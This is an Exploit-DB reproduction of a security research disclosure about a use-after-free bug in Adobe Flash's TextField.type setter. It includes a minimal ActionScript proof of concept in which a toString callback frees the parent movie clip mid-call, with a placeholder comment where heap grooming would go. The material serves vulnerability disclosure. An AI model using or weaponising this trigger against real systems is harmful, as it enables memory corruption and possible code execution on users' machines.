Adobe Flash TextField.type Setter - Use-After-Free

text exploit Source: Exploit-DB

Source: https://code.google.com/p/google-security-research/issues/detail?id=577

There is a use-after-free in the TextField.type setter. If the type the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.type = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "input";
	
	}

A sample swf and fla are attached.
